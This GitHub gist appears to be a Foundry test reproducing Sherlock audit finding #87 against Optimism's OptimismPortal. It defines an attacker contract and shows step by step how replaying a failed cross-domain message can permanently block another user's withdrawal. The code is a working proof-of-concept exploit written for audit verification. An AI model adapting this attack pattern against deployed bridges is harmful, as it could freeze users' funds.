Skip to content

Instantly share code, notes, and snippets.

@clabby
Created February 15, 2023 23:32
Show Gist options
  • Save clabby/018c8d64bff35da767a5a80e1f6d871d to your computer and use it in GitHub Desktop.
Save clabby/018c8d64bff35da767a5a80e1f6d871d to your computer and use it in GitHub Desktop.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.15;
import {Types} from "../libraries/Types.sol";
import {Messenger_Initializer} from "./CommonTest.t.sol";
/// @notice OptimismPortal minimal interface
interface IOptimismPortal {
function finalizeWithdrawalTransaction(Types.WithdrawalTransaction memory _tx) external;
}
/// @notice Attacker
contract AttackContract {
bool public donotRevert;
bytes metaData;
address optimismPortalAddress;
constructor(address _optimismPortal) {
optimismPortalAddress = _optimismPortal;
}
function disableRevert() public {
donotRevert = true;
}
function setMetaData(Types.WithdrawalTransaction memory _tx) public {
metaData = abi.encodeWithSelector(IOptimismPortal.finalizeWithdrawalTransaction.selector, _tx);
}
function attack() public {
if (donotRevert) {
optimismPortalAddress.call(metaData);
} else {
revert();
}
}
}
/// @notice Test for Sherlock issue #87
/// @dev https://github.com/ethereum-optimism/2023-01-optimism-judging/blob/main/0-system-findings/0-unprocessed/solidity/finalizeWithdrawalTransaction/087.md
contract OptimismPortal_Sherlock87_Test is Messenger_Initializer {
/// @notice Emitted when a withdrawal is proven successfully.
event WithdrawalProven(bytes32 indexed withdrawalHash, address indexed from, address indexed to);
/// @notice An attacker contract
AttackContract attacker;
/// @notice Set up the test state (ripped from OptimismPortal tests)
function setUp() public override {
super.setUp();
attacker = new AttackContract(address(op));
vm.deal(address(op), 0xFFFFFFFF);
}
/// @notice Tests whether or not the `finalizeWithdrawalTransaction` function can be called successfully with an amount of gas
/// that is **less** than the amount of gas needed to execute the withdrawal transaction.
function test_finalizeWithdrawalTransaction_gasTooLowBrick_succeeds() public {
// Relay bob's message from L2 to the L1CrossDomainMessenger
bytes memory attackMessage = abi.encodeWithSelector(
L1Messenger.relayMessage.selector,
0, // nonce
bob, // sender
address(attacker), // target,
0, // value
1_000_000, // min gas limit
abi.encodeWithSelector(attacker.attack.selector) // data
);
Types.WithdrawalTransaction memory attackTx = Types.WithdrawalTransaction({
nonce: 0,
sender: address(L2Messenger),
target: address(L1Messenger),
value: 0,
gasLimit: 1_000_000,
data: attackMessage
});
(
bytes32 attackStateRoot,
bytes32 attackStorageRoot,
bytes32 attackOutputRoot,
bytes32 attackWithdrawalHash,
bytes[] memory attackWithdrawalProof
) = ffi.getProveWithdrawalTransactionInputs(attackTx);
// Create a dummy output root proof for the attack transaction.
Types.OutputRootProof memory attackOutputProof = Types.OutputRootProof({
version: bytes32(uint256(0)),
stateRoot: attackStateRoot,
messagePasserStorageRoot: attackStorageRoot,
latestBlockhash: bytes32(uint256(0))
});
uint256 _proposedBlockNumber = oracle.nextBlockNumber();
uint256 _proposedOutputIndex = oracle.nextOutputIndex();
// Configure the oracle to return the output root we've prepared.
vm.warp(oracle.computeL2Timestamp(_proposedBlockNumber) + 1);
vm.prank(oracle.PROPOSER());
oracle.proposeL2Output(attackOutputRoot, _proposedBlockNumber, 0, 0);
vm.expectEmit(true, true, true, true);
emit WithdrawalProven(attackWithdrawalHash, address(L2Messenger), address(L1Messenger));
op.proveWithdrawalTransaction(attackTx, _proposedOutputIndex, attackOutputProof, attackWithdrawalProof);
// Warp past the finalization period for the attacker
vm.warp(block.timestamp + op.FINALIZATION_PERIOD_SECONDS() + 1);
// Attempt to finalize the attacker's withdrawal transaction. The call to `attack()` will revert, but the transaction
// will be marked as finalized in the OptimismPortal. However, in the L1CrossDomainMessenger, the transaction will
// be added to the `failedMessages` mapping.
vm.expectEmit(true, true, false, true);
emit WithdrawalFinalized(attackWithdrawalHash, true);
op.finalizeWithdrawalTransaction(attackTx);
// Set up alice's honest withdrawal transaction
bytes memory aliceMessage = abi.encodeWithSelector(
L1Messenger.relayMessage.selector,
0, // nonce
alice, // sender
address(0xbeef), // target,
100, // value
1_000_000, // min gas limit
hex"" // data
);
Types.WithdrawalTransaction memory aliceTx = Types.WithdrawalTransaction({
nonce: 0,
sender: address(L2Messenger),
target: address(L1Messenger),
value: 100,
gasLimit: 1_000_000,
data: aliceMessage
});
(
bytes32 aliceStateRoot,
bytes32 aliceStorageRoot,
bytes32 aliceOutputRoot,
bytes32 aliceWithdrawalHash,
bytes[] memory aliceWithdrawalProof
) = ffi.getProveWithdrawalTransactionInputs(aliceTx);
// Create a dummy output root proof for the alice's transaction.
Types.OutputRootProof memory aliceOutputProof = Types.OutputRootProof({
version: bytes32(uint256(0)),
stateRoot: aliceStateRoot,
messagePasserStorageRoot: aliceStorageRoot,
latestBlockhash: bytes32(uint256(0))
});
_proposedBlockNumber = oracle.nextBlockNumber();
_proposedOutputIndex = oracle.nextOutputIndex();
// Configure the oracle to return the output root we've prepared.
vm.warp(oracle.computeL2Timestamp(_proposedBlockNumber) + 1);
vm.prank(oracle.PROPOSER());
oracle.proposeL2Output(aliceOutputRoot, _proposedBlockNumber, 0, 0);
// Prove alice's honest transaction.
vm.expectEmit(true, true, true, true);
emit WithdrawalProven(aliceWithdrawalHash, address(L2Messenger), address(L1Messenger));
op.proveWithdrawalTransaction(aliceTx, _proposedOutputIndex, aliceOutputProof, aliceWithdrawalProof);
// Warp past the finalization period for alice's transaction.
vm.warp(block.timestamp + op.FINALIZATION_PERIOD_SECONDS() + 1);
// Set up for our attack on alice's transaction.
attacker.disableRevert();
attacker.setMetaData(aliceTx);
// Attempt to replay bob's failed message AS bob
// This will now attempt to finalize alice's transaction, which will fail due to the
// reentrancy guard on the L1CrossDomainMessenger!
vm.expectEmit(true, true, false, true);
emit WithdrawalFinalized(aliceWithdrawalHash, false);
vm.prank(address(bob));
L1Messenger.relayMessage(
0, // nonce
bob, // sender
address(attacker), // target
0, // value
1_000_000, // min gas limit
abi.encodeWithSelector(attacker.attack.selector) // data
);
// Attempt to finalize alice's transaction. This *will fail* due to bob's attack using the reentrancy guard.
// hoooooly shit
vm.expectRevert("OptimismPortal: withdrawal has already been finalized");
op.finalizeWithdrawalTransaction(aliceTx);
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment